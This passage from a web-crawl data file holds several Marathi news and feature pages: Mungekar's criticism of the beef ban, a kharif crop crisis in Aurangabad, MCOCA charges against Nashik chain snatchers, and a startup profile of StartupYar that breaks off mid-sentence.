विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nगर्जा महाराष्ट्र :आनंद निकेतन\nगर्जा महाराष्ट्र :आनंद निकेतन\nउद्योग, शिक्षण, सहकार, कला या क्षेत्रात काम करणा-या संस्थांमुळे एकीकडे या राज्याची जडणघडण होत असताना दुसरीकडे आवश्यक होती ती समाजाचा समतोल टिकवून धरणा-या संस्थांची गरज. अशा संस्था ज्या समाजातील दुर्बल घटकांना मुख्य प्रवाहात आणण्याचं काम करतील. अशा स्वयंसेवी संस्थांची यादी खरं तर खूप मोठी आहे. पण आपण मुंबईतील अशा एका संस्थेची माहिती करून घेणार आहोत की जिथे एक खूपच आगळावेगळा प्रयोग राबवला गेलाय. आणि हा प्रयोग आहे अनेक समाजसेवी संस्थांना एकत्र आणण्याचा. मुंबईतल्या महालक्ष्मी येथील हे आनंद निकेतन...\nविशेष कार्यक्रम रिपोर्ताज - वेबसीरिजचे स्पायडरमॅन\nमुख्यमंत्री देवेंद्र फडणवीस IBN लोकमतमध्ये\nकवीमनाचा जवान मनोज ठाकूरशी न्यूजरूम चर्चा\nराज ठाकरेंची संपूर्ण मुलाखत\nनितीशकुमार यांची विशेष मुलाखत\nकार्यक्रम June 3, 2013\nIBN लोकमतची इम्पॅकटफुल 5 वर्ष\nराज ठाकरेंच्या हस्ते 1000 कर्णबधिरांना श्रवणयंत्र वाटप\nआशा भोसलेंचा हृदयनाथ पुरस्कारानं गौरव\nयुवराजचा कँन्सर लढा पुस्तकरुपात\nबालहक्क आयोगाला अध्यक्षच नाही \nसभेत गडकरींना आली भोवळ\nमलाही संघर्ष करायचा नाही -राज ठाकरे\n'राज-अजितदादांचं भांडण पाहून वाईट वाटतं'\nजनतेच्या पैशांवर नेत्यांच्या शाही लग्नाचा थाट -निखिल वागळे\nस्त्री-पुरूष मुक्ती होण्यासाठी परस्पर संवाद गरजेचा -निखिल वागळे\n'विचारा मंत्र्यांना' सहभाग हर्षवर्धन पाटील\nकुपोषण हे मोठं आव्हान -सोनिया गांधी\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nमहाराष्ट्र, फोटो गॅलरी, स्पेशल स्टोरी\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\nAsia Cup 2018- धोनी कर्णधार बनताच टीम इंडिया झाली ‘चेन्नई सुपर किंग्स’\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00410.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://www.loksatta.com/maharashtra-news/former-mp-dr-bhalchandra-mungekar-slam-rss-chief-and-cm-over-beef-ban-1663775/", "date_download": "2018-09-25T17:10:59Z", "digest": "sha1:ZWGZVUNZVWIPOSHZDDYPDR4XXSPQMQ36", "length": 14760, "nlines": 207, "source_domain": "www.loksatta.com", "title": "Former Mp Dr Bhalchandra Mungekar slam RSS chief and CM over beef ban | ..तर सरसंघचालक, मुख्यमंत्री गो-पालन का करत नाहीत? | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\n..तर सरसंघचालक, मुख्यमंत्री गो-पालन का करत नाहीत\n..तर सरसंघचालक, मुख्यमंत्री गो-पालन का करत नाहीत\nडॉ. मुणगेकर म्हणाले, डॉ. आंबेडकरांनी देश घडवला. मात्र, देशाने त्यांच्यावर कायम अन्याय केला.\nडॉ. मुणगेकर यांचा सवाल\nलोकांच्या जगण्याचे प्रश्न न सोडवता गोमांससारखे निरुपद्रवी विषय काढून समाजात तेढ निर्माण केली जात आहे. गाय एवढीच प्रिय आहे तर राष्ट्रीय स्वयंसेवक संघाचे सरसंघचालक मोहन भागवत हे रेशीमबागेत गो-पालन का करीत नाहीत किंवा मुख्यमंत्री फडणवीस वर्षां बंगल्यावर गायी का पाळत नाहीत, असा सवाल माजी राज्यसभा सदस्य डॉ. भालचंद्र मुणगेकरांनी केला. देशातील राज्य सरकारे बांधकाम व्यावसायिक चालवत असून पुढील १० वर्षांत नागपूर हे बकाल शहर होईल, असे भाकितही त्यांनी यावेळी केले.\nस्टेट बँक ऑफ इंडिया अनुसूचित जाती, जमाती, इतर मागासवर्गीय कर्मचारी कल्याण संघटनेच्यावतीने किंग्सवे येथील बँकेच्या विभागीय कार्यालय परिसरात डॉ. बाबासाहेब आंबेडकर यांच्या १२७व्या जयंतीनिमित्त आयोजित कार्यक्रमात ते प्रमुख वक्ते म्हणून बोलत होते. व्यासपीठावर बँकेचे उपमहाव्यवस्थापक एम.व्ही.आर. रविकुमार, एससी, एसटी, मागासवर्गीय कर्मचारी संघटनेचे सरचिटणीस अनिल गमरे, संघटनेचे अध्यक्ष अनंत कोळी कार्यक्रमाच्या अध्यक्षस्थानी होते.\nडॉ. मुणगेकर म्हणाले, डॉ. आंबेडकरांनी देश घडवला. मात्र, देशाने त्यांच्यावर कायम अन्याय केला. समाजाच्या प्रत्येक घटकाचे प्रश्न आणि त्यावरच्या उपाययोजना बाबासाहेबांनी सांगितल्या. आंबेडकरी अनुयायांनाही ते उमगले नाहीत, अशी टीका त्यांनी यावेळी केली. इंग्रजांच्या दीडशे वर्षांच्या गुलामगिरीत शेतकऱ्यांनी एवढय़ा आत्महत्या केल्या नाहीत तेवढय़ा अलीकडच्या वर्षांत झाल्या. तब्बल अडीच लाख शेतकऱ्यांनी आत्महत्या केल्या आहेत. १९१८ मध्ये बाबासाहेबांनी ‘स्मॉल होल्डिंग इंडस्ट्रिज’वर काम केले मात्र, त्याची अंमलबजावणी होत नसल्यानेच शेतकरी आत्महत्या अथवा कामगारांना कामापासून वंचित ठेवले जात आहे. देशात टोकाची अस्वस्थता आहे. त्याकडे लक्ष देण्याऐवजी गोमाता, योगा, ‘बीफ’ वर भर दिला जातोय. गाय एवढीच प्रिय आहे तर सरसंघचालक मोहन भागवत यांनी रेशीमबागेत त्या पाळाव्यात आणि मुख्यमंत्र्यांनी रस्त्यावरील गायी वर्षां बंगल्यावर घेऊन जाव्यात.\nसरकारी योजनांमधील अफरातफरी थांबवण्यासाठी ‘आधार ’ योजना काँग्रेस आघाडी सरकारने सुरू केली होती. मात्र, आता प्रत्येक गोष्टीसाठी आधार सक्ती केली जाते. ही निव्वळ अडवणूक आहे. बँक खाते, शाळा, कॉलेजेस सर्वत्रच आधारची सक्ती करून लोकांना नागवले जात आहे.\n‘बीफ’चा व्यवसाय करणारे ८५ टक्के हिंदू\n‘बीफ’ म्हणजे गोमांस नव्हे आपल्याकडे ७५ टक्के बीफ म्हैस किंवा रेडय़ाचे असते. मटण आणि चिकन सोडून बाकी सर्व ‘बीफ’ आहे. उत्तर प्रदेशात ९५ टक्के कत्तलखाने मुस्लिमांचे तर ‘बीफ’चा व्यवसाय करणारे ८५ टक्के हिंदू होते. तेथील कत्तलखाने बंद करून लोकांना तेथील सरकारने भिकेला लावल्याचे डॉ. मुणगेकर म्हणाले.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : भारताला पहिला धक्का, रायडू माघारी\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00410.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-kharif-crisis-aurangabad-district-11706", "date_download": "2018-09-25T17:48:09Z", "digest": "sha1:DNGTWGC5QLQG52XOMLIGNCAQKHAAY76A", "length": 16213, "nlines": 157, "source_domain": "www.agrowon.com", "title": "agriculture news in marathi, In Kharif crisis in Aurangabad district | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nऔरंगाबाद जिल्ह्यातील खरीप संकटात\nऔरंगाबाद जिल्ह्यातील खरीप संकटात\nमंगळवार, 28 ऑगस्ट 2018\nऔरंगाबाद : पावसाच्या प्रदीर्घ खंडासोबतच किडी रोगांसाठी पोषक वातावरणामुळे औरंगाबाद जिल्ह्यातील यंदाच्या खरिपावर संकटाचा डोंगर उभा आहे. उपाय योजतांना शेतकऱ्यांची दमछाक होत आहे. गत काही दिवसांत पाऊस पडला असला तरी निसर्गाची अपेक्षित साथ मिळत नसल्याने शेतकऱ्यांवरील संकटाचे ढग कायमच असल्याची स्थिती आहे.\nऔरंगाबाद : पावसाच्या प्रदीर्घ खंडासोबतच किडी रोगांसाठी पोषक वातावरणामुळे औरंगाबाद जिल्ह्यातील यंदाच्या खरिपावर संकटाचा डोंगर उभा आहे. उपाय योजतांना शेतकऱ्यांची दमछाक होत आहे. गत काही दिवसांत पाऊस पडला असला तरी निसर्गाची अपेक्षित साथ मिळत नसल्याने शेतकऱ्यांवरील संकटाचे ढग कायमच असल्याची स्थिती आहे.\nऔरंगाबाद जिल्ह्यातील वैजापूर तालुक्‍यात स्थिती विदारक आहे. प्रदीर्घ खंडानंतर १५ ऑगस्टनंतर तालुक्‍यात पावसाचे आगमन झाले असले तरी तालुक्‍यातील १३७ गावातील खरिपाच्या पिकांना या पावसाचा फायदा होण्याची शक्‍यता नसल्याचे प्रशासनाच्या निदर्शनास आले आहे. प्रदीर्घ खंडामुळे तालुक्‍यातील ४० हजार ५०५ हेक्‍टर खरिपाचे क्षेत्र बाधित झाले आहे.\nवैजापूर तालुक्‍यातील कपाशी व मकाच्या उत्पादनात ५० टक्‍क्‍यांपर्यंत तर औरंगाबाद तालुक्‍यात २० ते ३० टक्‍के घट होण्याचा अंदाज आहे. फुलंब्री तालुक्‍यातील पीरबावडा मंडळातील सहा गावांत ५०० हेक्‍टरपेक्षा जास्त क्षेत्रावरील मकाचे पीक बाधित झाले असून कपाशी व मका पीक २० ते २५ टक्‍के घट होण्याचा अंदाज आहे. पैठण तालुक्‍यातील लोहगाव, बालानगर, बीडकीन व ढोरकीन मंडळातील काही गावात खरिपाच्या सर्वसाधारण क्षेत्रावर पेरणी होऊच शकली नाही. या मंडळांमधील ११ गावांमधील विविध पिकांचे ६८६ हेक्‍टर क्षेत्र बाधित झाल्याचे पुढे आले आले आहे.\nबोंड अळीची नुकसानीत भर\nखुलताबाद तालुक्‍यातील सुलतानपूर व वेरूळ मंडळातील २२ गावांतील मका पिकाला पावसाच्या खंडाचा मोठा फटका बसला आहे. या पिकाच्या उत्पादनात ३० ते ४० टक्‍क्‍यांपर्यंत घट होण्याचा अंदाज व्यक्‍त केला जात आहे. कन्नड व सोयगाव तालुक्‍यांतील १४ गावांतील कपाशीवरील गुलाबी बोंड अळीच्या प्रमाणाने नुकसानीची पातळी ओलांडली आहे.\nऔरंगाबाद जिल्ह्यातील सर्वसाधारण क्षेत्र ः ६ लाख ८३ हजार ३७५ हेक्‍टर\nप्रत्यक्ष पेरणी झालेले क्षेत्र ः ६ लाख ५८ हजार ६०७ हेक्‍टर\nपिकाचे नाव अाणि अंदाजे नुकसान हेक्टरमध्ये\nऔरंगाबाद aurangabad ऊस पाऊस निसर्ग पूर प्रशासन administrations मका maize पैठण नगर बोंड अळी bollworm गुलाब rose ओला सोयाबीन तूर\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजिल्हा परिषदेतील कृषी अधिकारी यांना...मुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क...\nप्रथिनांचा उत्तम स्राेत ः गुणवंत चारापीकराहुरी येथील महात्मा फुले कृषी विद्यापीठाने...\nमुंबईसह शेजारील शहरांत सेंद्रिय...मुंबईसह शेजारील शहरांमध्ये सेंद्रिय उत्पादनांना...\nऊसतोड मजूरांच्या मागण्यांबाबत लवादाची...मुंबई : राज्यातील ऊसतोड मजूर व कामगारांच्या...\nमॉन्सूनची माघार शनिवारपासूनपुणे : नैऋत्य मोसमी वाऱ्यांच्या (माॅन्सून)...\nसेंद्रिय शेतीसाठी शासनाच्या विविध योजनासेंद्रिय शेती आणि पीक उत्पादनवाढीसाठी राज्य आणि...\n‘जलयुक्त’ गैरव्यवहाराची फाइल पुन्हा...पुणे : जलयुक्त शिवार योजनेत बीड जिल्ह्यात...\nमहसूल उत्पन्न सूत्राचे ऊसदरामध्ये...पुणे : महसुली उत्पन्न विभागणीनुसार राज्यातील...\nतुरळक ठिकाणी पावसाचा अंदाजपुणे : ‘दाये’ चक्रीवादळ निवळून गेल्यानंतर राज्यात...\nमोदींनी सर्वात मोठी आरोग्य योजना '...रांची- पंतप्रधान नरेंद्र मोदी यांनी झारखंडची...\nकृषिपंपासाठी बड्या कंपन्यांच्या निविदाबारामती - राज्यातील दोन लाख ९० हजार शेतकऱ्यांच्या...\nमराठवाड्यातील ८६४ प्रकल्पांत ३३ टक्‍केच...औरंगाबाद : मराठवाड्यातील पाणीसाठ्यांमधील उपयुक्‍त...\nऊस ठिबक योजनेसाठी लेखापरीक्षकाची नेमणूक पुणे : राज्यात ऊस लागवडीसाठी ठिबक अनुदान...\nइथेनॉलमधील फरक ओळखण्यासाठी यंत्रणानवी दिल्ली ः देशात तीन प्रकारच्या मोलॅसिसपासून...\n‘ग्लायफोसेट’वर बंदी नाहीपुणे : मानवी आरोग्याला धोकादायक असल्याचा कोणताही...\nविदर्भात पावसाची दमदार हजेरीपुणे : बंगालच्या उपसागरातील ‘दाये’ वादळाने बाष्प...\nबचत गटांतून मिळाली विकासाला उभारीअस्तगाव (ता. राहाता, जि. नगर) हा तसा सधन परिसर....\nकांदाचाळीसाठी सव्वाशे कोटींचा निधीनगर ः एकात्मिक फलोत्पादन विकास...\nशेती, आरोग्य अन्‌ शिक्षणाचा जागरगावाच्या शाश्वत विकासासाठी शेती, आरोग्य, शिक्षण...\nमहाराष्ट्राची सिंचनक्षमता आता 40 लाख...मुंबई - शेतीयोग्य जमिनीतील केवळ 18 टक्‍के...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00411.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/uttar-maharashtra/nashik-news-chain-snatchers-49057", "date_download": "2018-09-25T17:28:44Z", "digest": "sha1:RIKKVH3OYRE3T7SUXOZEP6DEAN4NYSS7", "length": 12714, "nlines": 168, "source_domain": "www.esakal.com", "title": "nashik news chain snatchers सोनसाखळी चोरट्यांविरोधात ‘मोक्का’ला हिरवा कंदील | eSakal", "raw_content": "\nसोनसाखळी चोरट्यांविरोधात ‘मोक्का’ला हिरवा कंदील\nबुधवार, 31 मे 2017\nनाशिक - नाशिकसह लगतच्या जिल्ह्यात दुचाक्‍यांची तसेच सोनसाखळ्या ओरबाडून नेणाऱ्या तीन अट्टल सोनसाखळी चोरट्यांविरोधात आज जिल्हा न्यायालयात ‘मोक्का’न्वये दोषारोपपत्र दाखल करण्यात आले. पोलिस आयुक्तालयामार्फत संशयितांविरोधात ‘मोक्‍का’च्या प्रस्तावाला अप्पर पोलिस महासंचालकांनी मंजुरी दिली.\nनाशिक - नाशिकसह लगतच्या जिल्ह्यात दुचाक्‍यांची तसेच सोनसाखळ्या ओरबाडून नेणाऱ्या तीन अट्टल सोनसाखळी चोरट्यांविरोधात आज जिल्हा न्यायालयात ‘मोक्का’न्वये दोषारोपपत्र दाखल करण्यात आले. पोलिस आयुक्तालयामार्फत संशयितांविरोधात ‘मोक्‍का’च्या प्रस्तावाला अप्पर पोलिस महासंचालकांनी मंजुरी दिली.\nअट्टल सोनसाखळी चोरटे संशयित किशोर अशोक धोत्रे (वय २९, रा. शांतीनगर, अंबड औद्योगिक वसाहत), बाळू चंदर जाधव (३२, रा. शांतीनगर, अंबड औद्योगिक वसाहत), विनोद गंगाराम पवार (२९, रा. भगतसिंगनगर झोपडपट्टी, इंदिरानगर) यांना गुन्हे शाखेने डिसेंबर २०१६ मध्ये अटक केली होती. तीन संशयितांनी संघटितरीत्या नाशिक आयुक्तालय हद्दीतील अंबड, आडगाव, गंगापूर, सरकारवाडा, भद्रकाली, मुंबई नाका व इंदिरानगर पोलिस ठाण्यांच्या हद्दीत सोनसाखळी बळजबरीने ओढून जबरी चोरीच्या १२ गुन्ह्यांची कबुली दिली होती. नाशिकसह राहुल (जि. नगर) येथे दुचाकी चोरीचीही कबुली दिली होती. अंबड पोलिसांत १४ गुन्हे दाखल असून, त्यासंदर्भातील पुरावेही पोलिसांनी सादर करून चार लाख ९५ हजारांचा मुद्देमाल हस्तगत केला. त्यानुसार तिघांविरोधात संघटितरीत्या गुन्हेगारी केल्याप्रकरणी मोक्कान्वये कारवाई केली होती आणि तसा प्रस्ताव अप्पर पोलिस महासंचालक (कायदा व सुव्यवस्था) सादर करण्यात आला होता. प्रस्तावास मंजुरी मिळाल्याने आज ‘मोक्का’न्वये दोषारोपपत्र विशेष जिल्हा व सत्र न्यायालयाकडे सादर करण्यात आले. सहाय्यक आयुक्त सचिन गोरे यांनी या प्रकरणाचा तपास केला आणि सहाय्यक पोलिस निरीक्षक दीपक गिरमे, हवालदार चंद्रकांत सदावर्ते, शरद सोनवणे, नीलेश भोईर यांनी कामगिरी बजावली.\nअनैतिक संबंधातून खून; दोघांना जन्मठेप\nनाशिक : अनैतिक संबंधावरून दम दिल्याच्या रागातून आरोपीने साथीदाराच्या मदतीने प्रेयसीचा पती दशरथ ठमके यांचा निर्घृणपणे खून केला. त्यानंतर पुरावा...\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nवीरप्पनच्या 9 साथीदारांची मुक्तता\nइरोड (तमिळनाडू)- दिवंगत कन्नड सुपरस्टार राजकुमार यांचे अपहरण केलेला चंदन तस्कर वीरप्पन याच्या नऊ साथीदारांची न्यायाधीशांनी सबळ पुराव्याअभावी मंगळवारी...\nपक्षीमित्रांनी दिले सातभाई पक्षाला जीवदान\nनिजामपूर-जैताणे (धुळे) : माळमाथा परिसरातील लोणखेडे (ता.साक्री) येथील जिल्हा परिषद शाळेचे प्राथमिक शिक्षक, पक्षीमित्र राकेश जाधव, गोकुळ पाटील व कढरे (...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00411.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/b4d95cc290/failure-is-not-to-lose-heart-consistent-efforts-of-the-two-balamitranci-success-story-reaches", "date_download": "2018-09-25T17:58:54Z", "digest": "sha1:OVWLL3Y5TP5WVZO6SHYT3VIM4E6ZMXPJ", "length": 14699, "nlines": 90, "source_domain": "marathi.yourstory.com", "title": "अपयशाने खचून न जाता, सातत्यपूर्ण प्रयत्नांतून यशाची नवी शिखरे गाठणाऱ्या दोन बालमित्रांची कहाणी....", "raw_content": "\nअपयशाने खचून न जाता, सातत्यपूर्ण प्रयत्नांतून यशाची नवी शिखरे गाठणाऱ्या दोन बालमित्रांची कहाणी....\nवरुण बग्गा आणि वरिंदर सिंह या बालमित्रांनी महाविद्यालयीन शिक्षणानंतर निर्णय घेतला ते काहीतरी ‘कुल’ करण्याचा... काहीतरी वेगळे करुन पहाण्याची त्यांची इच्छा होती, पण नेमके काय करावे हा प्रश्नही होताच. बऱ्याच विचारमंथनानंतर त्यांनी मुलांसाठी एक गमतीदार गणिती खेळ (मॅथेमॅटीकल फन गेम) सुरु केला. त्याचे नाव होते ‘मॅडवर्सेसमॅथ’. मात्र हा खेळ काही फारसा चालला नाही आणि एका वर्षानंतरच त्यांना तो बंद करावा लागला. पण या अपयशाने खचून न जाता, त्यांनी यातून एक महत्वाचा धडा घेतला आणि मागील उत्पादनापेक्षा अधिक चांगले उत्पादन निर्माण करण्याचा निर्णय घेतला.\nया दरम्यान त्यांच्या विचारमंथनातून त्यांना बऱ्याच कल्पना सुचल्या आणि त्यापैकी प्रत्येकीवर त्यांनी काम करुन पाहिले. मात्र प्रत्येकवेळी काम करताना, त्यांना मागच्या उत्पादनाच्या वेळी सामना करव्या लागलेल्या आव्हानांनाच पुन्हा सामोरे जावे लागत होते. एक दिवस, या गोष्टींचीच चर्चा सुरु असताना, त्यांनी विचार केला की त्यांच्यासारख्या इतर उद्योजकांनाही याच समस्यांचा सामना करावा लागत असणार आणि हाच तो क्षण होता जेंव्हा ‘स्टार्टअपयार’(StartupYar) या कल्पनेचा जन्म झाला.\nया वर्षीच्या ऑगस्टमध्येच त्यांनी स्टार्टअपयारला सुरुवात केली. स्टार्टअपयार ही स्टार्टअप्सना वेगवेगळ्या टप्प्यांवर मदत करु शकतील अशा साधनांची आणि ऍप्सची डिरेक्टरी अर्थात निर्देशिका असून, स्टार्टअपच्या सर्व गरजा पूर्ण करणारे एक परिपूर्ण ठिकाण (वन-स्टॉप डेस्टीनेशन) बनणे हे लक्ष्य डोळ्यांसमोर ठेवत स्टार्टअपयारला सुरुवात झाली.\n“ एखाद्याची स्टार्टअप सुरु करण्याची योजना असेल किंवा त्यांच्या स्टार्टअपसाठी सुरुवातीला वापरकर्ते मिळण्यामध्ये अडचण येत असेल किंवा त्यांना त्यांच्या उत्पादनासाठी सुरुवातीच्या ग्राहकांकडून त्वरित प्रतिक्रिया हव्या असतील, तर आम्ही त्यांना आमच्या व्यासपीठाच्या माध्यमातून मदत करु शकतो,” वरुण सांगतात.\nत्याबाबत सविस्तर माहिती देताना ते सांगतात की, आपले उत्पादन बाजारात येण्यापूर्वी स्टार्टअप त्याचा समावेश आमच्या बिटा लिस्ट (Beta List) मध्ये करु शकतात, जे एक असे माध्यम आहे, ज्याद्वारे इंटरनेटवर येऊ घातलेल्या नव्या स्टार्टअपचा शोध सुरुवातीचे ग्राहक घेऊ शकतात. त्याचबरोबर संस्थापकही या व्यासपीठाचा उपयोग करत त्यांच्या स्टार्टअपची माहिती जगाला देऊ शकतात आणि पंचवीस हजारांच्या मोठ्या ग्राहक समुदायामधून त्यांना सुरुवातीच्या ग्राहकांच्या प्रतिक्रियाही मिळू शकतात.\nवरुण यांच्या मते आज अनेक वेब ऍप्स आणि साधने उपलब्ध आहेत, जी स्टार्टअप्सना विविध टप्प्यांवर मदत करु शकतात. पण स्टार्टअपसना आपले काम लवकरात लवकर आणि सहजपणे करण्यासाठी योग्य त्या साधनाचा शोध घेणे हे निर्णायक असते. त्यांनी या सर्वांची मोफत असलेले, मोफत नसलेले अर्थात विक्रीसाठी असलेले आणि फ्रिमियममॉडेल अशी विभागणी केली असून, त्यामुळे त्यांच्या बजेटमध्ये बसेल अशा साधनाची निवड करणे सहज शक्य होते.\nस्टार्टअपयार मधील सुरुवातीची गुंतवणूक ही ५,००० रुपयांपेक्षाही कमी होती. या सहसंस्थापकांनी ही रक्कम डोमेन खरेदीसाठी आणि होस्टींगसाठी खर्च केली. आतापर्यंत त्यांनी विपणनावर काहीच खर्च केलेला नाही.\n“ स्टार्टअपयारला सुरुवात करुन अवघे तीन महिने झाले आहेत आणि आम्हाला जगभरातून चांगला प्रतिसाद आहे. पाचशेहून अधिक वापरकर्त्यांनी आमच्या मासिक वृत्तपत्रिकेची (newsletter) सदस्यता घेतली आहे. तर शंभरहून जास्त कंपन्यांनी स्टार्टअपयारच्या लिस्टमध्ये येण्यासाठी आमच्याशी संपर्क साधला आहे,” वरुण सांगतात.\nजरी या व्यासपीठावरील लिस्टींग हे मोफत असले तरी आम्हाला अनेक कंपन्यांबरोबर असलेल्या संलग्न भागीदारीमधून महसूल मिळत आहे. यापैकी काही साधनांची जाहिरात संकेतस्थळावर आणि वृत्तपत्रिकेच्या माध्यमातून करण्याचीही आमची योजना आहे. “ सध्या तरी, ग्राहकांना महत्व देण्याकडे आणि त्यांना सांभाळून ठेवण्याकडेच आमचे संपूर्ण लक्ष आम्ही केंद्रीत केले आहे. आर्थिक उलाढालीबद्दल म्हणाल तर आम्ही यापूर्वीच ब्रेक-इव्हन पोईंटवर पोहचलो आहोत,” ते सांगतात.\nवाढीची आशा आणि आव्हाने\nया व्यासपीठावरील वाढीबाबतच्या आपल्या आशा वरुण मोकळेपणाने व्यक्त करता. त्यांच्या मते, गुणवत्तापूर्ण डिजिटल उत्पादनांसाठी स्टार्टअपयार ही एक मोठी बाजारपेठ बनू शकते. “ सध्या आम्ही केवळ वेब ऍप्सचे लिस्टींग करत आहोत. तसेच आम्ही समावेश करत असलेले प्रत्येक साधन हे ग्राहकांना चांगले मूल्य देऊ करत आहे, याची आम्ही खात्री करुन घेत आहोत,” ते पुढे सांगतात.\nत्यांच्या मते, या क्षेत्रातील मुख्य आव्हान आहे ते मौल्यवान गुणवत्ता असलेली सामग्री मिळविणे आणि वापरकर्त्यांना व्यस्त ठेवण्याचे. सादर झालेल्या साधनांना वरुण सातत्याने चाळणी लावत असतात, जेणेकरुन केवळ सर्वोत्तम साधने आणि 